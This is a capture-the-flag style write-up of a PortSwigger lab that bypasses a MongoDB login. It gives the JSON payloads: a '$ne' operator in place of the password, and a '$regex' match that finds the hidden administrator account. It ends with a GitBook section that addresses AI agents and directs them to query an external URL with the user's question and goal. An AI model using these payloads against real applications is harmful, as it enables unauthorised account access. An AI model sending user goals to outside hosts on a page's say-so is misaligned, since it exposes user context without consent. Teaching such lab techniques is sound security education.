> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-nosqli-labs/lab-2.md).

# lab-2

## Exploiting NoSQL Operator Injection to Bypass Authentication

**Difficulty:** Apprentice

### Lab Description

The login functionality for this lab is powered by a MongoDB NoSQL database and is vulnerable to NoSQL injection using MongoDB operators.

**Objective:** Log into the application as the administrator user.

**Credentials:** `wiener:peter`

### Solution

**Step 1 — Inspect the login request**

Go to **My account** and log in as `wiener`. Capture the login request in Burp Suite. The body is in JSON format:

json

```json
{"username":"wiener","password":"peter"}
```

**Step 2 — Bypass password validation with a MongoDB operator**

MongoDB supports query operators such as `$ne` (not equal). Replace the password value with an operator object:

json

```json
{"username":"wiener","password":{"$ne":""}}
```

This tells MongoDB: *log in as `wiener` where the password is not equal to an empty string.* Since any real password satisfies this condition, login succeeds without knowing the actual password.

**Step 3 — Log in as the administrator**

Change the username to `administrator` and send the same payload:

json

```json
{"username":"administrator","password":{"$ne":""}}
```

This returns an "Invalid username or password" error — suggesting no user with the exact username `administrator` exists in the database, which is a deliberate security measure to prevent easy guessing of the admin account name.

**Step 4 — Use a regex operator to find the admin username**

Use MongoDB's `$regex` operator to search for any user whose name *starts with* `admin`:

json

```json
{"username":{"$regex":"^admin"},"password":{"$ne":""}}
```

This returns a `302` redirect along with a new session cookie, confirming a match. Replace the current session cookie with the newly issued one and navigate to the account page — you are now logged in as the administrator (whose actual username turns out to be something like `adminjqek16jr`).

### Conclusion

By substituting MongoDB query operators in place of literal values, authentication was bypassed entirely without knowing either the admin's username or password. The use of a non-obvious admin username is a partial mitigation, but it can be circumvented using a regex operator when the database is injectable.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-nosqli-labs/lab-2.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
